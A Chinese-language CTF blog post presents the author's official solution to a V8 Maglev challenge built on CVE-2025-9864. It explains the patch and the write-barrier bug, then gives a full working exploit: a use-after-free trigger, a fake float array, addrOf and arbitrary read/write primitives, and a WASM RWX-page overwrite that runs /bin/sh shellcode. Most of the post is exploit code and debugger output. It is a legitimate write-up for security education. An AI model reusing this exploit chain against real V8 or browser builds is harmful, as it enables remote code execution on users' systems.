Terry1234's blog

我們終會抵達各自的終點

0%

HITCON ExhibitionCTF 2025 baby Maglev Official Solution

前言

HITCON CTF 資安交流賽要準備兩個 CTF 題目,剛好前陣子在分析 CVE-2025-9864 的過程中學到蠻多東西
所以就把它變成能 Exploit 讓大家玩感受痛苦
剛好 Issue 頁面也還沒公開,所以大家也不能抄作業 XDDD

題目可以在這裡下載
https://github.com/qingwei4/my_CTF_challenges/tree/main/HITCON-ExhibitionCTF-2025

Patch

把 Float64ToTagged::ConversionMode 從 kCanonicalizeSmi 換成 kForceHeapNumber
當要被儲存的 value 可被 smi 表示時,kCanonicalizeSmi 會使用 smi 儲存這個 value,如果是浮點數或是超出 SMI 範圍的 integer 則會使用 HeapNumber Object

kForceHeapNumber 則一律使用 HeapNumber Object 儲存
smi 和 Heap Object 在 V8 Heap 上的差異是 smi 是直接存值,HeapNumber 儲存的是 Pointer

第二個改動則是讓 V8 不要 Crash 而已,不然沒辦法 Exploit XDDD
用到 Runtime_CheckNoWriteBarrierNeeded 的地方蠻少的,預期解是從這邊開始看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
diff --git a/src/maglev/maglev-reducer-inl.h b/src/maglev/maglev-reducer-inl.h
index 60e26dfff1a..099893dd23c 100644
--- a/src/maglev/maglev-reducer-inl.h
+++ b/src/maglev/maglev-reducer-inl.h
@@ -531,14 +531,10 @@ ValueNode* MaglevReducer<BaseT>::GetTaggedValue(
AddNewNodeNoInputConversion<Uint32ToNumber>({value}));
}
case ValueRepresentation::kFloat64: {
- if (!IsEmptyNodeType(node_info->type()) && node_info->is_smi()) {
- return alternative.set_tagged(
- AddNewNodeNoInputConversion<CheckedSmiTagFloat64>({value}));
- }
// TODO(victorgomes): Do not tag Float64Constant on runtime.
return alternative.set_tagged(
AddNewNodeNoInputConversion<Float64ToTagged>(
- {value}, Float64ToTagged::ConversionMode::kCanonicalizeSmi));
+ {value}, Float64ToTagged::ConversionMode::kForceHeapNumber));
}
case ValueRepresentation::kHoleyFloat64: {
if (!IsEmptyNodeType(node_info->type()) && node_info->is_smi()) {
diff --git a/src/runtime/runtime-test.cc b/src/runtime/runtime-test.cc
index 612ae214d75..0f02119af49 100644
--- a/src/runtime/runtime-test.cc
+++ b/src/runtime/runtime-test.cc
@@ -2427,9 +2427,6 @@ RUNTIME_FUNCTION(Runtime_CheckNoWriteBarrierNeeded) {
if (!object.IsHeapObject()) {
return CrashUnlessFuzzing(isolate);
}
- auto heap_object = Cast<HeapObject>(object);
- Tagged<Object> value = args[1];
- CHECK(!WriteBarrier::IsRequired(heap_object, value));
return args[0];
#else
UNREACHABLE();

Solution

Write Barrier

首先要了解 Write Barrier 是什麼
https://chromium.googlesource.com/v8/v8.git/+/refs/heads/12.9.16/src/heap/WRITE_BARRIER.md

它是一個用來幫助 V8 做 Garbage Collection 的機制
因為 Object 在 V8 的 Heap 上是以 Pointer 的方式儲存,而在 GC 時會移除死去的 Object,勢必會出現一些 memory fragmentation 的情境
為了要解決這種情況,V8 會搬移 Heap 上的 Object
Write Barrier 則是用來確保那些指到被搬移的 Object 的 Pointer 依然指到正確的 address 的一項機制
如果沒有 Write Barrier 紀錄的話,原本指到被搬移的 Object 的 Pointer 就不會被更新,從而變成 Dangling Pointer

Trigger UAF

MaglevReducer::GetTaggedValue 中的 Switch 是根據 value_representation 做判斷的,而 value_representation 只跟 ValueNode 的 OpProperties 有關,與 Node 的 Output 可以被用什麼 Type 儲存無關
舉個例子,如果一個 ValueNode 的 OpProperties 包含 kFloat64,且 Output Value 是 4.0(一個能被 smi 儲存的數值)
那它的 value_representation 就會是 ValueRepresentation::kFloat64

從第二個改動的地方開始看會發現只有 3 個 Node 在 Emit Machine Code 時用到 Runtime_CheckNoWriteBarrierNeeded
其中會發現應該要先看 StoreTaggedFieldNoWriteBarrier 這個 Node
BuildStoreTaggedFieldNoWriteBarrier() 最後也會 call 到 MaglevReducer::GetTaggedValue
這個 Node 也比其他兩個 Node (StoreFixedArrayElementNoWriteBarrier / StoreMap) 常出現在 UAF 的洞之中
目前還沒看過誤用 StoreFixedArrayElementNoWriteBarrier / StoreMap 導致UAF的情況 XDDD

鎖定 StoreTaggedFieldNoWriteBarrier 後可以看這個 Node 在什麼情況下會被建出來
這邊可以慢慢找哪些地方會用到 BuildStoreTaggedFieldNoWriteBarrier()

其中 MaglevGraphBuilder::TrySpecializeStoreContextSlot() 是個蠻有趣的地方

它是在根據 runtime 蒐集到的 context(可以想成 feedback) 來優化 JavaScript 中的 store operation
當要儲存的值可以被 smi 表示時(e.g. 4.0) 就會進入 ContextCell::kSmi 的 Case 中,產出 Runtime Check 和 StoreTaggedFieldNoWriteBarrier Node

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
MaybeReduceResult MaglevGraphBuilder::TrySpecializeStoreContextSlot(
ValueNode* context, int index, ValueNode* value, Node** store) {
DCHECK_NOT_NULL(store);
DCHECK(v8_flags.script_context_cells || v8_flags.function_context_cells);
if (!context->Is<Constant>()) {
*store =
AddNewNode<StoreContextSlotWithWriteBarrier>({context, value}, index);
return ReduceResult::Done();
}

if (IsEmptyNodeType(GetType(value))) {
return EmitUnconditionalDeopt(DeoptimizeReason::kWrongValue);
}

compiler::ContextRef context_ref =
context->Cast<Constant>()->ref().AsContext();
auto maybe_value = context_ref.get(broker(), index);
if (!maybe_value || maybe_value->IsTheHole() ||
maybe_value->IsUndefinedContextCell()) {
*store =
AddNewNode<StoreContextSlotWithWriteBarrier>({context, value}, index);
return ReduceResult::Done();
}

int offset = Context::OffsetOfElementAt(index);
if (!maybe_value->IsContextCell()) {
return BuildStoreTaggedField(context, value, offset,
StoreTaggedMode::kDefault, store);
}

compiler::ContextCellRef slot_ref = maybe_value->AsContextCell();
ContextCell::State state = slot_ref.state();
switch (state) {
case ContextCell::kConst: {
auto constant = slot_ref.tagged_value(broker());
if (!constant.has_value() ||
(constant->IsString() && !constant->IsInternalizedString())) {
*store = AddNewNode<StoreContextSlotWithWriteBarrier>({context, value},
index);
return ReduceResult::Done();
}
broker()->dependencies()->DependOnContextCell(slot_ref, state);
return BuildCheckNumericalValueOrByReference(
value, *constant, DeoptimizeReason::kStoreToConstant);
}
case ContextCell::kSmi:
RETURN_IF_ABORT(BuildCheckSmi(value));
broker()->dependencies()->DependOnContextCell(slot_ref, state);
return BuildStoreTaggedFieldNoWriteBarrier(
GetConstant(slot_ref), value, offsetof(ContextCell, tagged_value_),
StoreTaggedMode::kDefault, store);
case ContextCell::kInt32:
EnsureInt32(value, true);
*store = AddNewNode<StoreInt32>(
{GetConstant(slot_ref), value},
static_cast<int>(offsetof(ContextCell, double_value_)));
broker()->dependencies()->DependOnContextCell(slot_ref, state);
return ReduceResult::Done();
case ContextCell::kFloat64:
RETURN_IF_ABORT(BuildCheckNumber(value));
*store = AddNewNode<StoreFloat64>(
{GetConstant(slot_ref), value},
static_cast<int>(offsetof(ContextCell, double_value_)));
broker()->dependencies()->DependOnContextCell(slot_ref, state);
return ReduceResult::Done();
case ContextCell::kDetached:
return BuildStoreTaggedField(context, value, offset,
StoreTaggedMode::kDefault, store);
}
UNREACHABLE();
}

觀察完上述資訊後可以發現如果我能造出一個 Store Operation,它的 Input ValueNode kProperties 包含 kFloat64 且 Output Value 能被 smi 表示的話,就會獲得一個不被 Write Barrier 追蹤的 Heap Number Object

最後我選擇了 Float64Sqrt 來觸發 UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Float64Sqrt : public FixedInputValueNodeT<1, Float64Sqrt> {
using Base = FixedInputValueNodeT<1, Float64Sqrt>;

public:
explicit Float64Sqrt(uint64_t bitfield) : Base(bitfield) {}

static constexpr OpProperties kProperties = OpProperties::Float64();
static constexpr
typename Base::InputTypes kInputTypes{ValueRepresentation::kHoleyFloat64};

Input input() { return Node::input(0); }

void SetValueLocationConstraints();
void GenerateCode(MaglevAssembler*, const ProcessingState&);
void PrintParams(std::ostream&) const;
};

一個簡單的 poc 長這樣

1
2
3
4
5
6
7
8
9
10
11
let v0 = 48763;

function f(){
v0 = Math.Sqrt(16);
}

for (let i = 0; i < 0x10000; i++){
f()
}

gc()

Maglev 的 IR Graph 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0x2ba900064a91 SharedFunctionInfo f1 (0x2ba900065625 String[6] poc.js011)
0 LdaGlobal [0], [0]
1 InitialValue(this) → (x), 4 uses
5 FunctionEntryStackCheck
↳ lazy @-1 (2 live vars)
6 Jump b1

Block b1
0x2ba900064a91 SharedFunctionInfo f1 (0x2ba900065625 String[6] poc.js00)
9 Construct r0, r1-r1, [2]
9 🐢 Construct [n7(x), n7(x), n3(x), n4(x), n8(x)] → (x), 0 uses, but required
↳ lazy @9 (2 live vars)
25 CallProperty1 r0, r1, r2, [8]
14 Float64Sqrt(MathSqrt) [n13(x)] → (x), 4 uses
31 LdaCurrentContextSlot [2]
16 LoadTaggedField(0x4, compressed) [n15(x)] → (x), 1 uses
33 ThrowReferenceErrorIfHole [4]
17 ThrowReferenceErrorIfHole [n16(x)]
↳ lazy @33 (3 live vars)
37 StaCurrentContextSlot [2]
↱ eager @37 (3 live vars)
18 CheckHoleyFloat64IsSmi [n14(x)]
19 HoleyFloat64ToTagged [n14(x)] → (x), 1 uses
20 StoreTaggedFieldNoWriteBarrier(0x4) [n15(x), n19(x)]
40 Return
22 ReduceInterruptBudgetForReturn(40) [n21(x)]
23 Return [n4(x)]

v0 最終會指向一塊被 Free 掉的 Memory
我們可以拿回那塊 memory 並在上面偽造 Float Array
在 GC 後,Object Address 的低 32 bits 是固定的,所以可以直接用 %DebugPrint() 拿出來不用 leak

1
2
3
4
5
6
7
8
scavenge_gc();
mark_sweep_gc();

fake_object_helper = [0.0, 0.0, 0.0, 0.0, 6.699586332753336e-309, 2.7815821086593595e-308, 8.34402697134475e-309, 0];

//console.log(helpers.pair_i32_to_f64(0x0004d149, 0x0004d149)); -> 6.699586332753336e-309
//console.log(helpers.pair_i32_to_f64(0x000007bd, 0x00140071)); -> 2.7815821086593595e-308
//console.log(helpers.pair_i32_to_f64(0x60000, 0x60000)); -> 8.34402697134475e-309

把偽造的 Float Array Element 指到 Object Array Element 就可以穩定 leak Object Address
指到 <address - 0x8> 就可以任意讀寫 <address> 上的資料

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
console.log(helpers.pair_i32_to_f64(0x000007bd, 0x001c0011)); -> 3.8939153263170276e-308
DebugPrint: 0x385900063051: [JSArray] in OldSpace
- map: 0x38590004d105 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x38590004caad <JSArray[0]>
- elements: 0x3859001c0011 <FixedArray[196608]> [HOLEY_SMI_ELEMENTS]
- length: 196608
- properties: 0x3859000007bd <FixedArray[0]>
- All own properties (excluding elements): {
0x385900000df1: [String] in ReadOnlySpace: #length: 0x385900026839 <AccessorInfo name= 0x385900000df1 <String[6]: #length>, data= 0x385900000011 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x3859001c0011 <FixedArray[196608]> {
0-196607: 0x3859000067b9 <the_hole_value>
}
*/
function addrOf(obj){
fake_object_helper[5] = 3.8939153263170276e-308;
addrOf_helper[0] = obj;
return helpers.f64toi64(fake_array[0]) & 0xffffffffn;
}

function arbRead32(where) {
fake_object_helper[5] = helpers.pair_i32_to_f64(0x000007bd, Number(where) - 8);
return helpers.f64toi64(fake_array[0]) & 0xffffffffn;
}

function arbRead64(where) {
fake_object_helper[5] = helpers.pair_i32_to_f64(0x000007bd, Number(where) - 8);
return helpers.f64toi64(fake_array[0]);
}

因為沒有開 Heap Sandbox,所以可以用經典的 ArrayBuffer + WASM trick 達成 RCE
但要改的 Offset 跟傳統 Writeup 提到的不太一樣,我這邊是拿 gdb 慢慢找 offset

Exploit

For Ubuntu 22.04

一開始在寫 Exploit 的時候蠻穩定的,成功率大概有 70%,所以就開始包 Docker
等到比賽前一天主辦方給了 GCP 讓我們架題目,結果發現 Exploit 在 GCP 上的成功率變低非常多
用 %DebugPrint() 看了一下發現 Heap Number 跟 Array 的位置差的比預期多很多導致 Fake Float Array Object 失敗

我懷疑是機器的 RAM 太小導致的,所以就開始在原本寫 Exploit 的環境測
把 RAM 從 64 GB 調成 4 GB 後發現成功率確實降低很多,但當我把 RAM 從 64GB 改回 4GB 後,成功率也沒有變回來

我 Debug 了8小時還是沒找出原因,最後決定多送幾遍 Exploit
看起來是我 Exploit 寫太爛導致 Heap Spray 不穩定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.dv = new DataView(this.buf);
this.u8 = new Uint8Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.f64 = new Float64Array(this.buf);
this.index = 0;
}

pair_i32_to_f64(p1, p2) {
this.u32[0] = p1;
this.u32[1] = p2;
return this.f64[0];
}

i64tof64(i) {
this.u64[0] = i;
return this.f64[0];
}

f64toi64(f) {
this.f64[0] = f;
return this.u64[0];
}

set_i64(i) {
this.u64[0] = i;
}

set_l(i) {
this.u32[0] = i;
}

set_h(i) {
this.u32[1] = i;
}

get_i64() {
return this.u64[0];
}

ftoil(f) {
this.f64[0] = f;
return this.u32[0]
}

ftoih(f) {
this.f64[0] = f;
return this.u32[1]
}

printhex(val) {
console.log('0x' + val.toString(16));
}

breakpoint() {
this.buf.slice();
}
}

function f(){
v0 = Math.sqrt(16);
}

function mark_sweep_gc() {
new ArrayBuffer(0x7fe00000);
}

function scavenge_gc() {
let arr = new Array(0x10000);
for(let i = 0; i < arr.length; i++) {
arr[i] = new String("");
}
}

var addrOf_helper = new Array(0x30000);
var helpers = new Helpers();
var fake_object_helper;
let v0 = 48763;

mark_sweep_gc();
mark_sweep_gc();



for (var i = 0; i < 0x10000; i++) {
f();
}

scavenge_gc();
mark_sweep_gc();

fake_object_helper = [0.0, 0.0, 0.0, 0.0, 6.699586332753336e-309, 2.7815821086593595e-308, 8.34402697134475e-309, 0];

//console.log(helpers.pair_i32_to_f64(0x0004d149, 0x0004d149)); -> 6.699586332753336e-309
//console.log(helpers.pair_i32_to_f64(0x000007bd, 0x00140071)); -> 2.7815821086593595e-308
//console.log(helpers.pair_i32_to_f64(0x60000, 0x60000)); -> 8.34402697134475e-309

// 100011000007bd
var fake_array = v0;
console.log('[+] fake_array.length : 0x' + fake_array.length.toString(16));


//console.log(helpers.pair_i32_to_f64(0x000007bd, 0x001c0011)); -> 3.8939153263170276e-308
/*
terry1234@terry1234-virtual-machine:~/v8/out/hitcon_ctf$ ./d8 --allow-natives-syntax poc.js
DebugPrint: 0x385900063051: [JSArray] in OldSpace
- map: 0x38590004d105 <Map[16](HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x38590004caad <JSArray[0]>
- elements: 0x3859001c0011 <FixedArray[196608]> [HOLEY_SMI_ELEMENTS]
- length: 196608
- properties: 0x3859000007bd <FixedArray[0]>
- All own properties (excluding elements): {
0x385900000df1: [String] in ReadOnlySpace: #length: 0x385900026839 <AccessorInfo name= 0x385900000df1 <String[6]: #length>, data= 0x385900000011 <undefined>> (const accessor descriptor, attrs: [W__]), location: descriptor
}
- elements: 0x3859001c0011 <FixedArray[196608]> {
0-196607: 0x3859000067b9 <the_hole_value>
}
0x38590004d105: [Map] in OldSpace
- map: 0x3859000448d5 <MetaMap (0x385900044925 <NativeContext[300]>)>
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_SMI_ELEMENTS
- enum length: invalid
- back pointer: 0x38590004ca85 <Map[16](PACKED_SMI_ELEMENTS)>
- prototype_validity_cell: 0x385900000ac9 <Cell value= [cleared]>
- instance descriptors #1: 0x38590004d0c9 <DescriptorArray[1]>
- transitions #1: 0x38590004d12d <TransitionArray[5]>
Transitions #1:
0x385900000e8d <Symbol: (elements_transition_symbol)>: (transition to PACKED_DOUBLE_ELEMENTS) -> 0x38590004d149 <Map[16](PACKED_DOUBLE_ELEMENTS)>
- prototype: 0x38590004caad <JSArray[0]>
- constructor: 0x38590004c9d5 <JSFunction Array (sfi = 0x385900195c09)>
- dependent code: 0x3859000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
*/

function addrOf(obj){
fake_object_helper[5] = 3.8939153263170276e-308;
addrOf_helper[0] = obj;
return helpers.f64toi64(fake_array[0]) & 0xffffffffn;
}

function arbRead32(where) {
fake_object_helper[5] = helpers.pair_i32_to_f64(0x000007bd, Number(where) - 8);
return helpers.f64toi64(fake_array[0]) & 0xffffffffn;
}

function arbRead64(where) {
fake_object_helper[5] = helpers.pair_i32_to_f64(0x000007bd, Number(where) - 8);
return helpers.f64toi64(fake_array[0]);
}

function arbWrite(where, what) {
fake_object_helper[5] = helpers.pair_i32_to_f64(0x000007bd, Number(where) - 8);
fake_array[0] = helpers.i64tof64(what);
}
/* calc
var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];*/

var sc_arr = [
0x732f6e69622fb848n, // mov rax, 0x0068732f6e69622f
0x3148e78948500068n, // push rax ; mov rdi,rsp ; xor rsi,rsi
0x3bc0c748d23148f6n, // xor rdx,rdx ; mov rax,59
0x909090050f000000n, // syscall ; NOP,NOP,NOP (padding)
];
var dataview_buffer = new ArrayBuffer(sc_arr.length * 8);
var dataview = new DataView(dataview_buffer);
var buf_backing_store_addr = addrOf(dataview_buffer) + 0x24n

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
/*
var addr_f = addrOf(f);
%DebugPrint(f);
var shared_function_info_addr = arbRead32(addr_f + 0x10n);
var trusted_function_data_addr = arbRead32(shared_info_addr + 0x4n);
internal_addr = arbRead32(trusted_function_data_addr + 0x10n);
*/
trusted_data_addr = arbRead32(addrOf(wasmInstance) + 0xcn);
jump_table_start_addr = arbRead64(trusted_data_addr + 0x28n);

console.log('[+] Trusted Data Addr : 0x' + trusted_data_addr.toString(16));
console.log('[+] Jump Table Start Addr : 0x' + jump_table_start_addr.toString(16));
console.log('[+] Backing Store Addr : 0x' + arbRead64(buf_backing_store_addr).toString(16));
/*
helpers.printhex(jump_table_start_addr);
helpers.printhex(arbRead64(buf_backing_store_addr));
*/

console.log('[+] Overwriting Backing Store Addr ...');

arbWrite(buf_backing_store_addr, jump_table_start_addr);

console.log('[+] Writing Shellcode to wasm rwx page ...');
for(let i = 0; i < sc_arr.length; i++) {
dataview.setFloat64(i * 8, helpers.i64tof64(sc_arr[i]), true);
}

console.log('[+] Trigger Shellcode !');

f();

後記

然後我在 9/20 寫好 Exploit 想說應該不用改題目了
結果有人在 10/2 早上在 X 上發了 Exploit

https://x.com/r1ngz3ro/status/1973448435614490640

後面很認真的在想要不要開 Heap Sandbox 讓大家繞的,但最後收手了 XDDD
現場沒什麼人打過 V8,所以這題沒人想解 QQ